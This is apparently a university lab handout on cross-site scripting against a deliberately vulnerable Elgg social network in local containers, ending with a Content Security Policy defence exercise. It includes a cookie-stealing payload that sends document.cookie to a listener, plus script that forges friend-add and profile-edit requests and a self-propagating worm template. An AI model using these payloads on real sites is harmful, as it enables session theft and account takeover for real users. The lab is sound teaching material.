Lab: Cross-Site Scripting (XSS)

Learning Objectives

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability allows attackers to inject malicious code (e.g., JavaScript) into a victim’s web browser. Using this malicious code, attackers can steal a victim’s credentials, such as session cookies. The access control policies (i.e., the Same-Origin Policy) enforced by browsers can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in a pre-built Ubuntu VM image. Elgg is a popular open-source social networking application, and it includes several countermeasures against XSS attacks. In this lab, we have intentionally disabled these countermeasures to make the application vulnerable. As a result, users can post arbitrary content, including JavaScript code, in their profiles.

In this lab, students will exploit this vulnerability to launch XSS attacks against the modified Elgg application, similar to what Samy Kamkar did in 2005 with the Samy worm on MySpace. The ultimate goal is to create a self-propagating XSS worm: when a user views an infected profile, they become infected, and the worm automatically adds the attacker as a friend.

Topics Covered


Lab Environment

Setup files: Labsetup.zip

DNS Setup

Several websites are used in this lab, all hosted on the container with IP address 10.9.0.5. Add the following entries to /etc/hosts (root privileges required):

10.9.0.5 www.seed-server.com
10.9.0.5 www.example32a.com
10.9.0.5 www.example32b.com
10.9.0.5 www.example32c.com
10.9.0.5 www.example60.com
10.9.0.5 www.example70.com

Elgg Web Application

We use the open-source web application Elgg for this lab. It is already installed in the provided container images and can be accessed at:

http://www.seed-server.com

The setup uses two containers:

Important: These IP addresses are hardcoded in the configuration. Do not modify them in the docker-compose.yml file.

MySQL Database Persistence

Containers are typically disposable, meaning that once a container is removed, all data stored inside it is lost. However, for this lab we want to preserve the data in our MySQL database so that our work remains intact even after shutting down the container.

To accomplish this, we mount the MySQL data directory on the host machine (inside the Labsetup folder). This directory is automatically created after the MySQL container runs for the first time. It is mapped to /var/lib/mysql inside the container, which is where MySQL stores its database files. Because the data now lives on the host, it persists even if the container is destroyed.

If you ever want to reset the environment and start with a clean database, you can simply remove the data directory:

sudo rm -rf mysql_data

User Accounts

Username Password
admin seedelgg
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy

Ethical Use Notice

This lab is intended solely for educational use within a controlled environment. The techniques demonstrated must never be used on systems you do not own or lack explicit authorization to test.


Lab Tasks

When you copy and paste code between different programs or environments, the quotation marks—especially single quotes—sometimes get changed into similar‑looking symbols. These “fancy” quotes look almost the same, but they are not valid in code and will cause errors.

If you notice this happening, simply delete the incorrect quotes and type the regular ones manually on your keyboard. This small step can save you a lot of debugging time.

Task 1: Display an Alert Window

Embed a JavaScript program in your Elgg profile so that when another user views it, an alert window appears.

Example:

<script>alert('XSS');</script>

If the script is too long for the input field, you can host host it externally:

Example:

<script type="text/javascript" src="http://www.example.com/myscripts.js"></script>

Questions:

Task 2: Display Cookies

Modify your script so it displays the viewer’s cookies in an alert box.

Example:

<script>alert(document.cookie);</script>

Task 3: Steal Cookies

Instead of showing cookies, send them to your attacker machine.

Use an <img> tag with a URL pointing to your machine so the browser sends a GET request containing the cookie.

Example:

<script>
document.write('<img src="http://10.9.0.1:8090?cookie=' + escape(document.cookie) + '">');
</script>

Run a listener to capture the data:

nc -lknv 8090

Options:

Questions:

Task 4: Add a Friend (Samy)

Capture what a normal “Add Friend” request looks like using HTTP Header tools, the browser developer tools or Wireshark. Identify:

Write JavaScript that automatically sends this request from the victim’s browser. Insert this script into Samy’s profile so anyone who views it unknowingly adds Samy as a friend.

Example:

<script>
window.onload = function () {
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    var sendurl = ...; // FILL IN

    var Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();
}
</script>

Important: Use Text mode (not Editor mode) when inserting code into the “About Me” field.

Questions:

Task 5: Modify the Victim’s Profile

Observe how Elgg sends a profile‑update request.

Write JavaScript that sends the same POST request, changing the victim’s “About Me” section.

Add this script to Samy’s profile so it runs when victims visit.

<script>
window.onload = function() {
    var userName = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    var content = ...;   // FILL IN
    var samyGuid = ...;  // FILL IN
    var sendurl = ...;   // FILL IN

    if (elgg.session.user.guid != samyGuid) {
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

Questions:

Task 6: Self-Propagating XSS Worm

Make your attack replicate itself. When a victim’s profile is modified, your script should also copy itself into their profile.

Two approaches (both are required):

Approach 1: Link-Based Example

<script src="http://www.example.com/xss_worm.js"></script>

Approach 2: DOM-Based Example

<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

alert(jsCode);
</script>

Note: innerHTML does not include the <script> tags, so they must be added manually.

Questions:

Elgg normally protects against XSS using:

These have been disabled in this lab.

Example modification:

function filter_tags($var) {
    // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
    return $var;
}

Task 7: Defeating XSS Using CSP (Content Security Policy)

XSS occurs because HTML allows code and data to mix. CSP (Content Security Policy) helps separate them by restricting where scripts can be loaded from. CSP works by telling the browser what it is allowed to load. You set these rules using a CSP header, either in Apache or PHP.

Experiment Setup

To experiment with CSP, we will set up several small websites. Inside the Labsetup/image_www Docker image folder, you’ll find a file named apache_csp.conf. This configuration file defines five different websites. All of them share the same directory on disk, but each site uses different files from that directory.

When working on this experiment, you will need to modify the Apache configuration file apache_csp.conf. You can update this file in two different ways:

1. Edit the file in the image folder: If you change the configuration file directly inside the Docker image folder (before the container is built), you must:

Only then will your changes take effect.

2. — Edit the file inside the running container You can also modify the configuration file while the container is already running. The main limitation is that, to keep the image small, the container only includes a basic text editor: nano. It’s simple but perfectly fine for small edits. If you prefer another editor, you can add an installation command to the Dockerfile and rebuild the image.

Inside the running container, the configuration file is located at:

/etc/apache2/sites-available/apache_csp.conf

After making changes, you must restart Apache so it reloads the updated configuration:

service apache2 restart

CSP Configuration Examples

Apache Configuration (CSP Header) Apache can add HTTP headers to every response it serves, which makes it a convenient place to define CSP policies. In our setup, we created three websites, but only the second one includes CSP rules. Because of this, whenever we visit example32b, Apache automatically attaches the specified CSP header to every response from that site. This allows us to observe how the browser behaves when CSP is enforced at the server level.

<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
            default-src 'self'; \
            script-src 'self' *.example70.com \
        "
</VirtualHost>

PHP Configuration:

Some pages in the lab send CSP headers using PHP instead of Apache. This helps you see how developers can enforce CSP directly in their application code. For the third VirtualHost entry in the configuration file, no CSP policy is defined at the Apache level. Instead of serving index.html like the other sites, this VirtualHost uses phpindex.php as its entry point. This file is a PHP script, and it adds its own CSP header directly in the HTTP response. In other words, even though Apache does not set a CSP policy for this site, the PHP program itself applies one when generating the page.

<?php
    $cspheader = "Content-Security-Policy:".
                "default-src 'self';".
                "script-src 'self' 'nonce-111-111-111' *.example70.com".
                "";
    header($cspheader);
?>

<?php include 'index.html';?>

Task Instructions

Visit the Three Demo Pages:

http://www.example32a.com
http://www.example32b.com
http://www.example32c.com

Each page has a different CSP rule set. Your job is to observe:

This shows how CSP affects JavaScript execution.

Answer the following:

Grading